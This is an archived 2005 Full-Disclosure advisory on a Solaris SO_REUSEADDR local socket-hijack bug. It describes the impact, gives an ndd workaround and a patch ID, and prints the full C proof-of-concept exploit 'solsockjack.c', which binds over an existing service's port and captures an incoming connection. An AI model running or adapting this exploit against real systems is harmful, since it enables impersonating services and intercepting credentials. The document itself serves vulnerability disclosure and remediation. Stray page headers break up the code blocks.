

[Full-disclosure] Solaris Socket Hijack – solsockjack.c

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2005-07/0119.html>

From: c0ntex (c0ntexb_at_gmail.com)

Date: 07/06/05

Date: Wed, 6 Jul 2005 13:24:44 +0100
To: full-disclosure@lists.grok.org.uk

/*

\$ An open security advisory #7 – SUN Solaris SO_REUSEADDR Local Socket Hijack Bug

- *****
1: Bug Researcher: c0ntex – c0ntexb[at]gmail.com
2: Bug Released: July 06 2005
3: Bug Impact Rate: Medium / Hi
4: Bug Scope Rate: Local / Remote

\$ This advisory and/or proof of concept code must not be used for commercial gain.

Sun Microsystems
<http://www.sun.com>

Solaris has a bug in the use of SO_REUSEADDR in that the Kernel favours any socket binding operation that is more specific than the general "*.*" wildcard bind(). As such, a malicious socket can bind to an already bound interface if a specific IP address is used.

This hijack can be performed against any process over 1024, including root owned services, it is not limited to your own user account. One can then mimic the original service and snoop usernames / passwords, files and data with a trojan version of software, or just cause a DOS against the legitimate service, providing the service is bound to a port above 1024 and uses the SO_REUSEADDR option.

Anyway, a work around could be setting the port numbers that are valuable to the system as privileged. Using the following kernel parameter, you can set ports above 1024 to act as reserved so only root can bind to them.

Full-Disclosure: [Full-disclosure] Solaris Socket Hijack – solsockjack.c

tcp_extra_priv_ports_add

To view privileged ports, run the following command:

```
ndd /dev/tcp tcp_extra_priv_ports
```

To set ports as privileged, run the following command:

```
ndd -set /dev/tcp tcp_extra_priv_ports_add 8080
```

Effected: All Solaris versions.

Not effected: Linux, OpenBSD, FreeBSD, Windows.

SUN have released a patch for the issue which can be downloaded from [sunsolve](#).

Document Audience: PUBLIC

Document ID: 116965-08

Title: Obsoleted by: 116965-09 SunOS 5.8: ip/arp/tcp/udp patch

Update Date: Thu May 05 09:28:25 MDT 2005

See Patch Revision History

Patch Id: 116965-08

Problem Description:

5089150 Binding to a port which has already been bound may incorrectly succeed

```
*/
```

```
/* solsockjack.c */
```

```
#include <stdlib.h>
```

```
#include <stdio.h>
```

```
#include <string.h>
```

```
#include <unistd.h>
```

```
#include <netinet/in.h>
```

```
#include <sys/socket.h>
```

```
#include <sys/types.h>
```

```
#include <sys/utsname.h>
```

```
#include <arpa/inet.h>
```

```
#define BAD "!@#%&^&*()-_+=[]{};:\",/<>?\\|`~
```

```
abcdefghijklmnopqrstuvwxyzaBCDEFGHIJKLMNOPQRSTUVWXYZ"
```

```
#define DEFHOST "localhost"
```

```
#define MAX_INCONN 1
```

```
#define PORT 1241 /* Nessus */
```

```
#define SYSTEM "SunOS"
```

```
#define BL "\x1B[1;34m"
```

```
#define NO "\x1B[0m"
```

Full-Disclosure: [Full-disclosure] Solaris Socket Hijack – solsockjack.c

```
#define PI "\x1B[35m"
#define PU "\x1B[1;35m"
#define RE "\x1B[1;31m"
#define WH "\x1B[1;37m"
#define YE "\x1B[1;33m"

void
banner(void)
{
    fprintf(stderr, "\n%s[-] %sSUN Solaris SPARC / x86 Local Socket Hijack
    Exploit\n", YE, NO);
    fprintf(stderr, "%s[-] %sKernel issue allows a bind on an already bound
    socket\n", YE, NO);
    fprintf(stderr, "%s[-] %sallowing a malicious user to impersonate a service
    that\n", YE, NO);
    fprintf(stderr, "%s[-] %sis already running on a port greater than 1024,
    making\n", YE, NO);
    fprintf(stderr, "%s[-] %sservice-in-the-middle attacks a trivial task to
    perform.\n", YE, NO);
    fprintf(stderr, "%s[-] %sDeveloped by c0ntex || c0ntexb@gmail.com%s\n\n",
    YE, WH, NO);

    _exit(EXIT_SUCCESS);
}

void
usage(int argc, char **argv)
{
    fprintf(stderr, "%s[-] %s Usage:\n", YE, NO);
    fprintf(stderr, "%s[-] %s\t -h \t\tIP address to bind socket to\n", YE, NO);
    fprintf(stderr, "%s[-] %s\t -p \t\tport number to attempt hijack of\n", YE,
    NO);
    fprintf(stderr, "%s[-] %s\t -v \t\tPrints this help\n", YE, NO);

    fprintf(stderr, "%s[-] %s%s -h 10.1.1.215 <http://10.1.1.215> -p 1241\n\n",
    YE, NO, argv[0]);

    _exit(EXIT_FAILURE);
}

void
checkerr(char *isvuln)
{
    free(isvuln);
    puts("Not today!");
    _exit(EXIT_FAILURE);
}

void
jackerr(char *vulnerable)
{

```

Full-Disclosure: [Full-disclosure] Solaris Socket Hijack – solsockjack.c

```
free(vulnerable);
_exit(EXIT_FAILURE);
}

char
*checksys(char *isvuln)
{
    struct utsname name;

    if(uname(&name) < 0) {
        puts("uname failed");
    }

    isvuln = malloc(6);
    if(!isvuln) {
        perror("malloc");
        _exit(EXIT_FAILURE);
    }

    if((name.sysname == NULL) || (strlen(name.sysname) < 1) || (strlen(
name.sysname) > 5)) {
        checkerr(isvuln);
    }

    memcpy(isvuln, name.sysname, strlen(name.sysname));
    if(!isvuln) {
        checkerr(isvuln);
    }

    return(isvuln);
}

int
main(int argc, char **argv)
{
    int inbuf, jacksock, opts, solvuln;
    int port = PORT;

    char *vulnerable = NULL;
    char *systype = NULL;
    char *isvuln = NULL;
    char *bad = NULL;

    struct sockaddr_in solaris, victims;

    if(argc < 2) {
        banner();
        _exit(EXIT_FAILURE);
    }
}
```

Full-Disclosure: [Full-disclosure] Solaris Socket Hijack – solsockjack.c

```
if((systype = checksys(isvuln)) == NULL) {
puts("Something messed up!");
checkerr(isvuln);
}

if(strcmp(SYSTEM, systype) != 0) {
puts("System is not supported – SunOS only!");
checkerr(isvuln);
}

fprintf(stderr, "\n%s-> %sOK, potential vulnerable %s[%s] %ssystem,
continuing..\n", WH, NO, BL, systype, NO);

free(isvuln); sleep(2);

while((opts = getopt(argc, argv, "h:p:v")) != -1) {
switch(opts)
{
case 'h':
bad = BAD;
vulnerable = malloc(16);
if(!vulnerable) {
perror("malloc");
_exit(EXIT_FAILURE);
}

if((optarg == NULL) || (strlen(optarg) < 7) || (strlen(optarg) > 15) ||
strpbrk(bad, optarg)) {
puts("\n[-] Failed: IP address just isn't right!\n");
jackerr(vulnerable);
}

memcpy(vulnerable, optarg, strlen(optarg));
if(!vulnerable) {
jackerr(vulnerable);
}
break;
case 'p':
port = atoi(optarg);
if((port < 1024) || (port > 65535)) {
puts("\n[-] Failed: Port number just isn't right!\n");
usage(argc, argv);
_exit(EXIT_FAILURE);
}
break;
case 'v':
usage(argc, argv);
break;
default:
usage(argc, argv);
break;
}
```

```

}
}

if(vulnerable == NULL) {
jackerr(vulnerable);
}

fprintf(stderr, "%s-> %sJacking port %s[%d] %sat address %s[%s]%\n", WH,
NO, PI, port, NO, PU, vulnerable, NO);

jacksock = socket(AF_INET, SOCK_STREAM, 0);
if(jacksock < 0) {
perror("socket");
jackerr(vulnerable);
} sleep(2);

if(setsockopt(jacksock, SOL_SOCKET, SO_REUSEADDR, &solvuln, sizeof(int)) <
0) {
perror("setsockopt");
}

solaris.sin_family = AF_INET;
solaris.sin_port = htons(port);
solaris.sin_addr.s_addr = inet_addr(vulnerable);
memset(&solaris.sin_zero, '\0', sizeof(solaris.sin_zero));

if(bind(jacksock, (struct sockaddr *)&solaris, sizeof(struct sockaddr)) < 0)
{
perror("bind");
fprintf(stderr, "[–] %sFailed: %sCould not snag port, must be patched!\n",
RE, NO);
jackerr(vulnerable);
}

fprintf(stderr, "%s-> %s%sSuccess!! %sPort %s[%d] %shas been hijacked!\n%s->
%sWait...\n", WH, NO, YE, NO, PI, port, NO, WH, NO);

if(listen(jacksock, MAX_INCONN) < 0) {
perror("listen");
puts("[–] Failed: Could not listen for an incoming connection!");
jackerr(vulnerable);
} sleep(2);

fprintf(stderr, "%s-> %sOK, listening for incoming connections to
compromise", WH, NO);

inbuf = sizeof(victims);

if(accept(jacksock, (struct sockaddr *)&victims, &inbuf) < 0) {
perror("accept");
puts("[–] Failed: Could not accept the incoming connection!");
}

```

Full-Disclosure: [Full-disclosure] Solaris Socket Hijack – solsockjack.c

```
jackerr(vulnerable);
}

fprintf(stderr, "\n%s-> %sSnagged a victim connecting from %s[%s]%s\n", WH,
NO, YE, inet_ntoa(victims.sin_addr), NO);

sleep(1);

close(jacksock);

puts("-> Victim has been released to live another day!");

sleep(1);

puts("-> Test was a success!");

free(vulnerable);

return(0);
}
```

Full-Disclosure – We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>